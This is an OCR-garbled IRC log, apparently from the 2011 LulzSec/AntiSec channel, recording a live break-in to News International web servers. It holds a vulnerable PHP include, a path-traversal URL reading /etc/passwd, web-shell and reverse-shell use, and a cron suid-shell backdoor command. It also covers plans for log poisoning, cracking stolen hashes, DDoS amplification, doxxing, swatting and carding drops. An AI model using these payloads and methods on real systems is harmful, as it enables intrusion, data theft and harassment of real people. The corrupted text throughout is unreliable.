so yeah only this shitty dual core atm :p 
with no gpu to accelerate :p 
normal pc just sucks at cracking aa 
should setup oclhashcat on this box :o 
well this is my "normal" pc 

i spose :P 

yeahAA 



22:40 < 
22:40 < 
bl uray 
22:41 <' 
22:41 < 
22:41 
22:41 
22:42 
22:42 
22:43 





should cluster PS3s up to crack ;.; 
yeah, finally that thing would have some purpose besides watching 

they got nice cluster CPUs 
but youd need moar than one :p 

get 100 PS3s and we're talking bout a project :P 
or hijack one or those IBM supercomputers 

just reboot the gibson 

could buy 100 ps3 with the money from that ^^^^■...the one 



i nfo 

yah, I will do that when she sleeps 
she'll be resting soon enough 

lol 

iunno if thatd fit in ^^^^H^ dump 

but itd be a nice proje^^rlal^g one big cluster out of that :D 

CPUS would probably more effective aa 
maybe sony gives some PS3's out to lulzsec for free? 
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22:45 < 
22:45 < 
22:46 < 

22:46 <. 

at the max an 




#! sunnydays .log 
after all you did for them 

lets put a password on that Cisco switch 
eel free todo what you want with the switch 

_ true GPUs would be more efficient but nVidia only has 4 way SLI 
lunno how to cluster that while PS3 uses cells which are used for 



clustering anyway :P 



22:47 < 
22:47 < 
22:48 < _ 
only CUDA 
22:52 < 
22:52 < 




you can crossfire x up to 4 amd/ati GPUs 
(or more if there would be a motherboard) 

ive got absolutely no experience with catalyst stuff though, 



however 

143.252.4.187 <-- how do i enable SSH on a Cisco switch without 

having access to telnet before 

does it have an default user? 

ok guys, I think I'm about to get a shell on that other box 



22:53 <' 
22:53 <_ 
microsite2 
22:53 < 
22:53 < 
22:54 <' 
22:54 <' 
22:54 <' 
22:54 <' 
22:54 < 
22:54 <' 
22:55 

mi crosi te2 
22:55 < 
22:55 < 

22:56 < _ 

host file and access both 
awsome idea 
good work 





3 mins 

guess the 5 char telnet pw :D 

1 wonder is it just a load sharing server 
or does it have other fun stuff? 

2 mins till we see 

Okay 

what did you do? 

since today is Friday, it better has some fun fun fun fun... 

i just set my host file for extras.thesun.co.uk to the ip of 
e file I exploited first was there 
its easier the second time around lol 
1 min 

I'll add a shell to another domain, so we can have both in 



23:00 <@Sabu> go od shit 

^1 ^^^1 [^kerpia-E5807c43. perfect-privacy. com] has quit [Connection 

oy f 



23:01 
reset 
23:01 < 
23:01 < 
23:01 < 
23:01 < 
23:02 H _ 
#! sunnydays 
23:02 
23:03 




have the shell 

just finding another subdomain 
one sec 

kerpia-49E3El71.gigabit.perfect-privacy.com] has joined 

by ChanServ 




for the drop address :P 



mode/ # ! su nnydays [+qo 

^1 what was working ire Tp? 
or anyone 
for anonops, obv 
75.228.146 

thx 

imma be afk, H^^^ stab 
cya all in a Tewnours 

cya 

http : //extras . ti mesonl i ne . co . uk/1 og . php 
kerpia-49E3El71.gigabit.perfect-privacy.com] has quit [Ping 

The requested URL /log. php was not found on this server, 
do i need to change the host? 
will do 

143 . 252 . 77 . 126 extras . ti mesonl i ne . co . uk 
put that in your host file 

has joined #! su nnydays 

! sunnydays L+qo ^^^^^^^^H by ChanServ 
ffs ^^^^^^^ 
? 

serious problems with my main machine 

pp node isn't stable it seems 
nope 

that was something else 
ok 

so now we have 2 boxes 
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23:14 
23:15 
23:15 
23:16 
23:16 
23:16 
23:16 
23:16 
23:17 
23:17 
23:17 
dumps 
23:17 
23:17 
23:17 
23:17 
23:17 
23:17 
23:17 
23:17 
23:18 
23:18 
23:18 
23:18 
23:18 
23:18 
23:18 
23:18 
23:18 



;D 



#! sunnydays .log 



okay works 

but not on my pc since the vpn got its own dns 
works fine in this vm 
too 

so this is actually a second server 
u> ^^^B some people to consider for private chan 
now we got shell on both 
yup 
:D 

<(aSabu> he gave us a good dump last night and has been posting oth 

on twitter .cort^^^^ also op in #antisec 

<@Sabu> nerv messaged me last night and guess what he owned too? 

<@Sabu> I laughed when he pasted me the url 

<@Sabu> extras. thesun etc etc. he found the same LFI 

wow didn't think the simple host file thing would work lol 
oh shit 

did he make it public? 
I told him I'll work on it, 




<(aSabu> but 
<@Sabu> no 
<@Sabu> 
< 
< 



dont publicize it or touch it 




handled the situation 
ok 

Thank you 

<@Sabu> but~we need to work quick if a random 15 year old can find it 
<'~^^^^M Sabu: heh 

<@Sabu> ^^^g are you Isitening niggy? 
< ©Sabu> so n ext private chan people -> 
<^^^^^B^M '"ciybe we s hould patch it? 
<~^^^^BSabu: hm^H-. yeah he's been around a while. 



bit much of random stuff 
23:18 <(asabu> ■ 



_^/ abhaxes and maybe nerv (the sun Ifi kid) 

23:18 <©Sabu> yes thats true 

23:19 <@Sabu> and its mainly because hes working by himself 



he was leaking 



23:19 
23:19 
23:19 
23:19 
23:19 
23:19 
23:19 
23:19 
23:19 
23:20 




Sabu: i dont suppose you have found the query with me.. 

will I patch the lfi so we don't get fucked by it? 

^Sabu> ^^^^1 nope. 
<@Sabu> us^pnalse 
<@Sabu> ^^^^^^H yes 
<©Sabu> yoL^o^oackdoor yes? 

<~ ^^^^B abhaxes was pretty cool yeah., he's rom... greece or so? 
< ~^^^^ B and forgot what he leaked 

<g ^^J t his server contains much new data to look at 
<~H^^H Sabu: phalse just downed again? 
23:20 <@Sabu> AGAIN? 
23:20 <@Sabu> it was fixed yesterday 
23:21 <(asabu> I was on it last night 
23:21 <~^^^^B times out for me. no ping 
)ro I just pinged it 

first login i got to authorize key, after yes it froze 

<(asabu> im logged in 
<©Sabu> you have the luck 
W^^^M hmm maybe my exit node is blocked 
iSabu> of 3 tiny cacks 

ok I'm gonna path that lfi 



23:21 
23:21 
23:21 
23:21 
23:21 
23:21 
23:21 
23:21 
23:22 
23:24 
23:24 
23:24 
23:25 
23:26 
23:26 
23:28 
23:28 
23:28 
23:28 
[143.2 
23:29 








m 






mode/ff 







has quit [User quit: brb] 
has joined #! su nnydays 
+qo ^■^^■^^H by Chanserv 
ok lets have ^Tool^arouna 

Sabu: query? 

http : //ext ras . ti mesonl i ne . co . uk/f ooter2b . php 

alternative shell 

rev shell problem: 
listening on [any] 443 ... 
post- rev getsockname failed: INVAL 

connect to [0.0.0.0] from microsite2.wpng.newsint.co.uk 
126] 48744 

oh damn 
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23:31 
23:31 
23:32 
23:33 
23:33 
23:35 
23:35 
attac 
23:35 
23:36 
23:38 
23:39 
23:39 
23:40 
23:40 
23:40 
23:41 
23:41 
23:41 
23:41 
23:41 



#! sunnydays .log 

ah worked 

was problem of my rev shell 

has quit [User quit: 




23:41 
23:41 
23:42 
23:42 
23:42 
23:42 
23:42 
23:43 
price 
23:44 
them 
23:44 
23:45 
23:45 
23:46 
23:46 
23:46 
23:46 
23:46 
23:46 
23:46 
23:46 
23:46 
23:46 
23:46 
23:46 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:47 
23:49 
23:57 
23:57 
23:58 
/lib/ 
can w 
23:58 



brb] 

let me know if you find anything nice 

<iabaDu> also gentlemen a heads up 
<©Sabu> paki and indian hackers are going to war over the mumbai terror 
ks the next few days 
<©Sabu> so lets steer clear from owning any .in or .pk sites 
<©Sabu> dont want to make it seem we are choosing sides etc 
< @Sabu> ;x 
< g^M^^J damn 

<<^^^^^M ^'^^ ^€ were so close to downing the moon over India 
<^M^B okay i gonna sleep 
<@Sabu> hahahahah 

<@Sabu> ^^^^B we may have to transition to afghansitan 
<^Hq Dy^T^tomorrow we'll get the fucking sun 
<(asabu> bye my brother 
< ©Sabu> take care 
<(£^^^^^^H bye 

has joined #! sunnydays 
e/#! slmnyaay^^^o ^^^^^^^^^g by ChanServ 

ok I patched tn^^T^^^^^ 

the sysadmin should thank me! 

<(asaDu> lets give them a receipt too 
<©Sabu> after this 
< ©Sabu> haha 

<^^^^^||H I just patched it on the main server 
<~^^^^Hneh 
< g^M^^M lol 

<^|^m^^0 Cost for 1 LFI repair 5$. Cost of getting pwned because of it, 

1 e ss ! 

<(c^Hp we could put the exact vuln in the statement afterwards and mock on 
like small things can have a huge impact", 
uhm is anyone on thecure? 
ot me 

haha sure! 

Ill make a copy of the file 

<? 

$qui z_di r="qui z/" ; 

$filename=C$_GET["fn"]==""?$_POST["fn"] :$_GET["fn"]) ; 
i f ($f i 1 ename ! =" "&&i s_f i 1 e ($qui z_di r . $f i 1 ename . " . php")) 

i ncl ude $qui z_di r . $f i 1 ename . " . php" ; 
el se 
{ 

echo "NO SUCH FILE!"; 





<@Sabu> fucking servers keep dying 




} 



return ; 



23: 
23: 



58 
58 



23:59 
23:59 
23:59 



Sabu, did you see the butthurt assessment form 

u> nein! link me 

http : //i . i mgu r . com/QXlvl . j pg 

I have taken it upon myself to assess butthurt via form 
hence the butthurt assessment form 
thecure seems split but has 280 users in #antisec 
wtf 

< @Sabu> http : //www . youtube . com/watch?v=kE3FAy-NOi U 
< g^^3 i maybe got something 

<(S|^H WARNING: /I i b/svc/bi n/svc . startd is run from /etc/inittab as root, 
svc/^i/svc . startd contains the string /proc/sel f/psi nfo . The user promote 
ri te to /proc/sel f/psi nfo 

<^^^M if we are really able to replace psinfo 
<^^^H we shoul d be able to get root 
<MM @Sabu , ^^^^^m 
<gj^H|^H :D ^^^^ 
<«^^H <3 
<@Sabu> yup 
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#! sunnydays .log 

you guys are magic 
ib/svc/bin/svc.startd = writable? if it is, crash the box again 
will that work? 
when it comes online 



23:59 <@Sabu> we get isntant root 



23:59 < 



yes 



23:59 <(asabu> in fact see if any startds are writable 
23:59 <(asabu> if they are we owning this bitch 
— Day chang ed Sat Jul 16 2011 
00:00 <^^H not the startd itself 

00:00 <^^^H but /proc/self/psinfo wich is reffered by a stard 
00:00 < ®Sabu> mhm 

00:00 <^V^B^^| own this box, we own the other box, we crack the hashes, we 

own the emaTTsTwe own murdoch we own the sun! 

00:00 <@Sabu> we'd need to create some sort of race condition 

00:00 <@Sabu> you guys realize 

00:00 <@Sabu> if we demolish the sun 

00:01 <©Sabu> and news of the world is gone 

00:01 <@Sabu> you're essentially 

00:01 <©Sabu> destroying murdoch in such a way 

00:01 <@Sabu> haha 

00:01 <(asabu> we' re* 



00:01 <^ 

00:01 <C< 

00:01 <(asabu> anc 




haha 
:D 

we own foxnews.com via Ifi just need it to execute 
00:01 <@Sabu> if we can coordinate both ihts 
00:01 <@Sabu> unffff 

I wan't to rm -rf / the sun 
we basically just need the source code of 

murdoch will not be a happy camper 
then we can manipulate and replace it? 
can you send me the fox Ifi again 

c 



00:01 
00:01 
00:01 
00:02 
00:02 
00:02 

00:02 

http://aut 
00:02 ' 
00:02 
00:02 
00:02 < 
00:02 
00:02 
00:03 
00:05 
00:07 
00:09 
00:09 < 
00:10 < _ 
that mean 
00:14 
00:14 < 
00:14 < 
00:14 < 
00:14 
00:14 
00:15 
00:15 
00:15 
00:15 
00:15 <' 
00:15 < 
00:15 
00:15 
00:15 < 
00:16 




/proc/sel f/psi nfo 



oxnews.com/phpldapadmin/cmd. php?cmd=. ./. ./. ./. ./etc/passwd%00 
we need to find out where the httpd saves it logs 
so we can write shell code in the log 

and include it with this Ifi 
-> wi n 

ftpd logs are also okay 
anyone wanna give me a vpn btw? 

^ is the Ifi loading for you btw? 

Its down Q.Q ? 

okay we really should give this /proc/self/psinfo a try 
it looks down for me? 

ya 

when you say it contains the string /proc/self/psinfo does 

It executes it 

[^^^^B^^^g has joined #! sunnydays 
yo 

im fuckin back 
liek a baws :D 
hi 

fucking WPA cracking takes forever 
where you here when we got the hashes? 
we got a shell on another server too 
Nope... DOnt think so 
so we got 2 servers shelled 

and patched up the first one :P 
backup them shells by backddooring everything? 

yup 

yo 

ki nda mce: http: //i . imgur . com/oQ503h . jpg 

I patched the original LFI so other people wouldn't find it 




and fuck up everything 



00:16 < 
00:16 <G 



aaaah good 



http : //wi ki send . com/downl oad/312038/sun_auth . htm 
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00:16 < 
http : //wT 
00:17 <<3^ 
does that 
00:17 
00:17 
00:17 < 
00:17 < 
00:17 < 
00:17 < 
00:17 
00:17 
00:17 
00:17 
00:17 
00:17 
00:18 
00:18 
00:18 < 
00:18 < 
00:18 < 
00:19 < 
00:19 < 
00:19 < 
00:19 < 
00:19 < 
00:19 < 
00:20 < 
00:20 < 
00:21 < 
00:21 < 
00:21 < 
00:21 < 
00:21 < 
00:22 
00:22 
00:22 
00:22 
00:22 
00:22 
00:22 
00:22 
00:22 
00:23 
00:23 
00:23 
00:24 
00:24 



#! sunnydays.log 

ki" send . com/down I o a^^B 594/sun_auth_new. htm 
m <(c^^^^^^g when you say it contains the string /proc/se1f/psinfo 

mean it executes it 

https : //pastee . org/f 3s9x 

password is murdoch 

- thx 

1 real ly thik it does 

BTW 





00:26 <' 



00:26 
00:26 
00:26 
00:27 



look at It in hex 
by dump site 

you mean the drop spot for shipping? 
http : //extras . ti mesonl i ne . co . uk/1 og . php 

143 . 252 . 77 . 126 extras . ti mesonl ine.co.uk 
put that in your host file 

ya 



guess 




silk road and carding :D 

wants you to drop some address or so 
I have a few drop spots that i can check then use 
costumes ! 




1 

for the 

AAAAAH 

wel 1 , I 
ill ask 
and ill 
He said 
its all 
as in 
he will 

OH LAWDY 

MS-08-067 

ATTACK ! 

where? 
what Ian 
I hope your right! 

THE PLAN -> http://privatepaste.com/a8db29abe2 #antisec 
needs testing 

we need root! 

ably some Solaris adjustments 

pass? 

anti sec 



have a drop address near my friends house 
him can he look after it 
buy some silk too 

last time, so long as he gets some lucy from silky 
good 

watch it 

vuln boxes on the LAN 




as in 

wai ts 

Based on 




- the LAN I had to hack to get online 
tRe network Im on ATM 
for metasploit to load* 
current information this shoud really work, 
epic! 
Rea^ng now 
but how can we control psinfo 
is it a physical file? 
I like it! 
can actually write to it 

and will it not change depending on the process runing it? 
as it is in /proc/self? 
gonna check that 

— > http://extras.timesonline 
are the odds the admin is just 
are their admins onto us this early? 
did you put the thing in your hostfile 
like i said lol 
oh shit, no 



.co.uk/log.php is a 
gonna reboot again 



404 




orgot :P 

nice script for finding vuneribilities btw 
is? 

a copy 



whi ch 
sends 
also 
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00; 
00; 
00; 
00; 
00; 
00; 
00; 
00; 
00; 
00; 



27 
27 
27 
27 
27 
27 
27 
27 
27 
27 




#! sunnydays .log 
got any apache targets that need a denial of service? 
we better clean up the /tmp/ folder before we finish tonight 
not really 

'Cos I am sitting on a potent package of rape 
DOS is no fun 

_ hey :) 

owdy 




you 



weeks, just thought 
00:27 <' 

00:27 < ^m^^m T 

00:27 <^ 

closed pOison and google 
servers 
00:27 < 
hilariou"? 



I dox'd team pOison 
and got him swatted :) 
im a witness in court against 
to know :) 



him in a trial in 2 




Luit/iNAsAnE 

ess its Paypal or Mastercard 

just thought you'd like to know 

t to happy as they hacked into 1 




that as they also 
of there specific 

but that's 



no idea how legit what you said is, 

true 

AWESOME 

gnn dibr we already have those dox? 
lemme see 

https://pastee.org/rn5jz 
tweeted that a while ago 

get me some lucy too and ill trade you sass 
1 of my crew befriended luit online and he 

guy 

that's funny shit 

so we leaked all his info and the msn chat logs 

- gotta do some currwency changin :D 

#antisec 

sounds like more dox then :D 

are you sure psinfo is writable? 
cross-x with the pastee i posted 

and then i got called in by the UK police and had 

here ya go 

http : //pastebi n . com/jznMVvPG 

infos are correct, cant fully confirm though 
no match 
inasewc 



im goin 
rest well 

just patching my boxxy 
so i made 

and ca I I ed me in 



file 
00:34 



a skype call to devonshire police and 
like 2 weeks later 

2 days* 
s pretty convincing though 

has quit [user quit: bai] 

got the "mi stake in my plan :D 
its really too late :D 
the tool i was checking the perms with 
has of course access to this file 
because its related to the current process 
*facepalm* 
lol 

at least we have a concept now in case we find an writeable 

oops 
yes 

exactly 

thei r has to be a way 

lol :) 

im also in an enganging twitter msg with ^^^^^ 

but my crew member told me to msg you to try and 
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make friends 



00; 


;35 


<( 


00; 


;35 


<( 


00; 


;35 


<( 


00; 


;35 


<( 


00; 


;35 


<( 


00; 


;35 


<( 


00; 


;35 


<( 


/export, 


00; 


;36 


<■ 


00; 


;37 


<i 


00; 


;38 




' /systei 


00; 


;38 


<( 


00; 


;40 




00; 


;40 




00; 


;41 


<( 


00; 


;41 


<( 


00; 


;41 


<( 


00; 


;41 


<( 


00; 


;41 


<( 


00; 


;41 


■ 


#! sunnyi 


00; 


;41 


<( 


00; 


;41 




00; 


;41 




00; 


;41 




00; 


;41 


< 


00; 


;41 


<■ 


00; 


;42 


< 


00; 


;42 


<( 


00; 


;42 


<■ 


00; 


;42 


<■ 


00; 


;42 


<( 


http://i 


00; 


;42 




00; 


;43 


<( 


00; 


;43 


<• 


00; 


;43 


<• 


00; 


;43 


<• 


00; 


;43 


<• 


00; 


;43 


<■ 


00; 


;44 


<( 


00; 


;44 


<• 


00; 


;44 


<( 


00; 


;44 


<( 


00; 


;44 


<( 


00; 


;44 


<( 


00; 


;44 


<( 


00; 


;44 


<■ 


00; 


;44 




00; 


;44 


<( 


00; 


;44 


<■ 


00; 


;44 


<■ 


00; 


;44 




00; 


;44 




00; 


;44 




00; 


;45 


<• 


00; 


;47 


<( 


00; 


;49 


<( 


00; 


;49 


<( 


00; 


;50 


<■ 


00; 


;50 


<( 


00; 


;50 


<• 


00; 


;50 


<• 


00; 


;50 


<( 


00; 


;50 


<■ 


00; 


;51 


<■ 







mod 








#! sunnydays .log 
with lulzsec n anon as we haven't rly done much., yet xD 

I wonder can we find the login those hashes are for? 

i was searching for that too 
no success yet 

############################################ 
Checking for Private SSH Keys home directories 
############################################ 
WARNING: unencrypted Private SSH Key Found in 
promote/ . ssh/i d_rsa 

sounds like a useful contact 
or MKe a trap ;) 
does anyone know what exactly this file does 
ract/process/template 

private key 

nice 

however 

im going to sleep now aa 
have been awake for too long obviously 

gn8 

http : //extras . ti mesonl i ne . co . uk/1 og . php <- - 

kerpia-1592C510.dialup.adsl .anteldata.net. uy] has joined 

oops, wrong link 
hi 

imma sorry 

reg nick plz 
hai 

and epic hack going on here, must not leave the channel 
done 

you missed the epic fail ^^^^ :D 
ups? 

did you kill the box again? :o 

i meant this one 

e . cn r . berkel ey . edu/cgi -bi n/m an-cgi ? process+4 
e/#! sunnydays [+o ^^^H by ^gg/^ 

no my plan had a rt^^aTe :D 
oh 

yeah i was not really paying attention recently 
^^l^g we have the sun backdoored 
aTsowTll probably have some juicy emails soon 
also from notw staff :x 
nice. 

cracking mdSs atm 
you actually rooted it 
cant read this anymore 
bye AA 
nS 

not rooted yet 
rest well 

has quit [input/output error] 

IS It 1 1 nux? 
nope sun 
hahah 
ohh 
lol 

you have to see the comic 
anyone got link to first comic? 
one sec 

http : //i 56 . ti nypi c . com/1628i 69 . png 

lol 

X :) 

^^^g do you have another screen name? 

arer^^you in #buccaneers on anonops? 
should have seen him there 

nopw 

oh 

he's been helping us with various stuff for a while 
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00:58 < 
00:58 < 
00:58 < 
00:58 < 
00:58 < 



yes 



#! sunnydays .log 



fan r enough 
just wondering 

btw i didnt RT your pastehtml link as i dont want to 

tweet the i rcl i n win le it's so broken 

01:00 <@Sabu> sp 

01:00 <©Sabu> my or^ier 

01:00 <(asabu> glad you're here 

01:00 <^H^^Ba11 good 

01:00 < @Sabu> ^^^^ have you spoken to regarding reviving op:p? 

01:01 <~ ^M^^^ yes we talked in bucc ea^^^^ it was discussed 
01:01 <~^^^^H we're not quite sure how we wanna play it yet 
01:01 <'- ^B^M "i'd keep that in #bucc also for a9 nessuno etc 
01:02 <~H^^H they also find that opers should have a say in it. 
it fucked the network . . 
01:02 <@Sabu> k 

01:03 <@Sabu> ^^^H by going from 30k to 160k amp hosts 

01:03 <@Sabu> now^tne damage now? 

01:03 <@Sabu> you got to be doing like lOOgbps 

01:03 < @Sabu> : X 

01:03 <~^^^^H anonops still split htough, gree 

01:03 <@Sabu> with what ^^^^ can do from one vps, needed 1 million bots 

01:04 <@Sabu> crazy eh? 



as last time 



01:04 <' 
01:05 < 
01:05 < 
01:06 < 
01:06 < 
i guess 
01:06 < 
01:06 < 
01:06 < 
fi rst 
01:08 < 
01:08 < 
01:08 < 
01:08 < 
free 
01:08 < 

COMMAND 
01:08 < 
bpbkar 
01:08 < 
httpd 
01:08 < 
httpd 
01:08 < 
httpd 
01:08 < 
httpd 
01:09 < 
httpd 
01:09 <' 
httpd 
01:09 < 
httpd 
01:09 < 
httpd 
01:09 < 
httpd 
01:09 < 
mysqld 
01:09 < 
httpd 
01:09 < 
httpd 
01:09 < 




refl ection? 

yup 
m ce 

Sabu: we already scanned ranges for open snmp 
so basically it can go down, but a few boats to add wouldnt hurt 



the more power the better 

but yeah, as i said., should talk to 



maybe 




H^pmi crosi te2 # top 
Toaa £ 



averages: 0.43, 0.50, 0.59 02:12:25 
158 processes: 157 sleeping, 1 on cpu 

Memory: 2048M real, 975M free, 1007M swap in use, 2126M swap 



PID 


USERNAME 


LWP 


PRI NICE 


SIZE 


RES 


STATE 


TIME 




CPU 


25577 


root 


11 


59 


0 


17M 


16M 


sleep 


1: 


;40 


4. 


.00% 


25904 


promote 


1 


59 


0 


28M 


4552K 


sleep 


0: 


;01 


2. 


.97% 


25902 


promote 


1 


59 


0 


28M 


llM 


sleep 


0: 


;02 


1. 


.91% 


25898 


promote 


1 


59 


0 


28m 


4576K 


sleep 


0; 


:01 


0. 


.89% 


25895 


promote 


1 


59 


0 


28m 


4568K 


sleep 


0; 


;01 


0. 


.70% 


25878 


promote 


1 


59 


0 


28m 


llM 


sleep 


0; 


:01 


0. 


.67% 


25891 


promote 


1 


59 


0 


28m 


llM 


sleep 


0; 


;01 


0. 


.29% 


25889 


promote 


1 


59 


0 


28M 


llM 


sleep 


0: 


;01 


0. 


.23% 


25859 


promote 


1 


59 


0 


28M 


llM 


sleep 


0: 


;01 


0. 


.19% 


25884 


promote 


1 


59 


0 


28M 


llM 


sleep 


0: 


;01 


0. 


.15% 


4005 


mysql 


14 


59 


0 


93M 


18M 


sleep 


942: 


;32 


0. 


.12% 


5852 


nobody 


1 


59 


0 


24M 


8776K 


sleep 


11: 


;46 


0. 


.08% 


25858 


promote 


1 


59 


0 


28M 


llM 


sleep 


0: 


;02 


0. 


.07% 


25914 


promote 


1 49 
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1528K 


cpu/1 


0: 


;00 


0. 


.07% 
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top 
01:09 
httpd 
01:09 
01:09 
01:09 
01:09 
01:10 < 
01:10 < 
01:10 
01:10 < 
01:10 < 
01:10 
01:10 
01:10 
01:11 




#! sunnydays .log 
4904 root 1 59 0 28M 

^■microsite2 # 



20m sleep 14:27 0.05% 



process own 
01:11 <■ 
01:11 < 
01:11 < 
01:12 < 
01:13 < 
01:13 < 
01:13 < 
01:13 < 
01:13 < 
01:15 < 
01:15 < 
01:15 < 
01:15 < 
01:16 < 
01:16 < 
01:18 < 
01:18 < 
01:18 
01:18 
vgportall 
01:18 
geopoi nt2 
01:19 <■ 
01:19 
01:19 
01:20 
01:20 



eh 

not bad 

thats fake root though i suppose 

one instance of httpd beiing run as root 
ys the prompt is fake 

the process isn't 

why fake it? 
shell is trolling us :> 
bug 

its just a problem with the back connect 
lol 

any idea if we can run something specifically in the httpd 

ed by root? 
nah 

only if you exploit the httpd process 
which is unlikely unless you have a Oday :p 
check for other daemons running 
ha ok 

for some reason ps -aux doesn't work 

my bad 

ats does somethign go with the backup archiver? 

what 

ps -ef 

1 ngo 

wanna hope in the shell 
got the link? 

'■hop 

nt think he does 
ttp://extras. timesonline.co.uk/log.php <-- this one? 

yup 

you need to add a line to your hostfile 
root 752 1 0 Sep 24 ? 



root 



751 



0 



Sep 24 ? 



0:00 zoneadmd -z 
0:00 zoneadmd -z 



01:21 < 

/usr/jdk/in 
01:21 <■ 
01:21 
01:22 
01:22 
01:22 
01:22 
01:22 
01:22 
01:22 
01:23 
01:26 
01:26 
rebooti n'g 
01:26 " 
01:27 < 
01:27 
01:27 
01:27 
01:28 
vgportal 2 
01:28 < _ 
geopoi nt"? 




143 . 252 . 77 . 126 extras . ti mesonl i ne . co . uk 
add that to your host file 

http://extras.timesonline.co.uk/footer2b.php too 
ttp : //www . expl oi t-db . com/expl oi ts/7865/ 
lawl 

root 5686 1 0 Oct 28 ? 128:21 

stances/jdkl. 5 .0/j re/bi n/java -classpath /uOl/app/geopoi nt/bi n/ . ./ja 
look at sun exploits @ exploit-db 
yeah i think we have tried tweo already 

we tried 3 

one killed the box :x 
one killed the box 
ut admin was nice enough to reboot it next day 
lol 

no questions asked 

eh 

just posting processes that look like they have potential 
should be mentioned in the statement too. 
If another invoice will be added, they should get some discount for 
e box. 

_ lol 

good idea .) 
makes a mental note 

we also patched their server for them! 

That invoice could become a nice running gag. 

root 752 1 0 Sep 24 ? 0:00 zoneadmd -z 




root 751 1 0 Sep 24 ? 
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01:28 



root 5686 



# lsunnydays.log 
1 0 Oct 28 ? 



128:21 



/usr/jdk/1 nstances/jdkl. 5 . 0/j re/bi n/java 



01:28 < . 

/uOl/app/qas 
01:28 <" 



root 18106 
apps/qaswvd 
root 23056 



0 



-cl asspath /uOl/app/geopoi nt/bi n/ . 
NOV 02 ? 163:28 



./ja 



0 3uT 15 ? 



0:02 



/opt/NWSlphp/bi n/php /uOl/www/vgportal . thesun . co.uk/basedi r/import/import_scann 



01:28 <^ 



root 23053 



0 Jul 15 ? 



0:01 



/opt/NWSlphp/bi n/php /uOl/www/vgportal . newsoftheworld.co.uk/basedi r/module_imap 



01:28 <^ 



root 23055 



0 Jul 15 ? 



0:01 



/opt/NWSlphp/bi n/php /uOl/www/vgportal .thesun . co.uk/basedi r/module_imap/getMail 



01:28 < 



root 23054 



0 



Jul 15 ? 



0:02 



/opt/NW Slphp/bi n/p hp /uOl/www/vgportal . newsoftheworld . co.uk/basedi r/import/impo 

01:28 <^I^^^^H what ya think about those php scripts? 

01:28 < (^^B^^^ J are they run as root? 

01:28 <^^^H just deface it 

01:28 <^|^^H haha 

01:28 <(aSaDL^nope 

01:29 <^^H^H no? 



01: 30 <@Sabu> http://i .imgur.com/zx9qQ.jpg 



01:31 < 

01:31 < 

01:31 < 

01:32 < 




Imao 



01:32 < 
01:33 < 
01:34 
01:34 
01:34 




Sabu, are those php scripts being executed as root? 

IS that box on a good uplink? 
Sabu> they are being exected by crontab 
01:32 <@Sabu> if you can write to them 
01:32 <@Sabu> then you can put in a backdoor 
01:32 <©Sabu> one sec on the phoone 

ok 

good uplink? 
shit 

there is no vgportal . subdomains 
Tm back 
01:34 <(asabu> ok 

01:34 <@sabu> if the files executed via crontab as root are world writable 

01:34 < @Sabu> then you can add something like 

01:35 <^^1^^^H can I view the crontab? 

01:35 <©Sabu> system("cp /bin/sh /tmp; chmod a+sx /bin/sh"); 

01:35 <@Sabu> when they execute 

01:35 <@Sabu> it'll copy sh to /tmp with suid 

01:35 <@Sabu> you can just do /tmp/sh for root 

01:35 <SH^^H ok 

01:36 <fl^^^^^| can I list whats in cron 
01:36 <@SaDu^yes 
01:36 <@Sabu> show him 
01:36 <@Sabu> crontab -1 
01:36 <@Sabu> or rather 
01:36 <@Sabu> cd /var/spool/cron/ 
01:36 <(asabu> see if you can see the root tab 

quit [Ping timeout] 

ttp : //www . youtube . com/watchVv^j Ec j 2xi 9Ctc&f eature=rel ated 
has quit [Ping timeout] 
you around? 



01:42 H 
01:46 <@Sami> 
01:49 
01:54 ~ 
01: 57 <@Sabu> 



01:57 <@Sabu> whats this 



ittp : //pastebi n . com/kf i 3Ti cq 



01:58 <- 
01:59 <- 
01:59 
01:59 
01:59 
01:59 
01:59 ^1 
01:59 <(asabu> 
01:59 <@Sabu> 
01:59 
like 
01:59~ 
01:59 < 
02:00 < 
02:00 < 





i think that was a placed log? 

"^^H from NAMESHUB" 
namesnub . . anymore question? 
:D 

has joined #!sunnydays 
sunnydays L+o ■■byClianServ 
something me ana^|^^B made up, Sabu 
i remember that 
just making sure 

i was unsure myself first too.. 



and contained stuff i know 
like the stolen troll id 
was a pretty good fake :) 
thank you 
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#! sunnydays .log 

02:00 <@Sabu> ok good 

02:00 < @Sabu> 1m glad we're 100% safe 

02:00 <^^^^^H http://www.artificia1eyes.tv/files/voiceBwithu.jpg 

02:00 <@^^^H check this 

02:00 <|^^^H haha 

02:00 <@^^^^H oh Sabu, I've put all the #Voice image work so far in here 



http : //anti sec. i mgu r . com/ al 1 / 




02:00 < 
02:01 < 
02:01 < 

02:02 I 

[Connection reset 
02:16 < 
02 : 18 

#! sunnydays 
02:28 < 




we have loads more shit inbound, including a video 
oh YOU did that . . cool 

usually makes great pictures :D 
erpia-1592C510.dialup.adsl .anteldata.net. uy] has quit 

:( 

52D68BCD. dial up. adsl .anteldata.net. uy] has joined 



y peer] 
Twitter 



Sabu: you around matey? 

02:36 <@Sabu> im around brother 
02:36 < @Sabu> b tw i love those pics 
02:38 <HH^^H okay query plz 

02:40 <@Sabu> I'm going to do some cheezy twitter thing 

02:40 <@Sabu> My peoples, let us show solidarity with the political prisoners 
that we respect the most. Tweet "l am [enter political prisoner here]" 
02:40 <@Sabu> lets see if we have like 200k tweets doing this 
02:40 <@Sabu> hahaha 
02:41 < 
02:41 < 
02:41 < 
02:41 < 
02:41 < 



02:41 < 
02:41 < 




ill rt if you link me 

Sabu> who are you guys going to do? 

dont forget #antisec and #voice :) 

150k of those will tweet "l am Bradley Manning" aa 

about what? 

02:41 <@Sabu> I was thinking mumia or bradley manning 
02:41 <@Sabu> yup 

oh hm 

they are too obvious 

02:41 <@Sabu> Let us show solidarity with the political prisoners that we respect 

the most. Tweet "l am [enter political prisoner here]" #antisec #voice 

02:41 <-~W^^^M "i will probably reserach a bit to find someone unknown 

02:42 <(asabu> I'll post now 

02:42 <@Sabu> yes 

02:42 <H^^^H youp 

02:42 <@Sabu> I'll give you 5 minutes to find someone 
02:42 <(&Sabu> I might be mumia jabaar 
02:42 <'^^^^H lot i cant right now.. 

02:42 <@Sabu> the guy locked up for "killing" a white cop 
<~^^^^| ill do in a bit 

I am Birgit Hogfeld" :P 
I'm posting in a few minutes 
02:42 <@Sabu> think of good ones 




02:42 
02:42 
02:42 



02:43 < 




http://i .imgur.com/xTNyk.jpg 
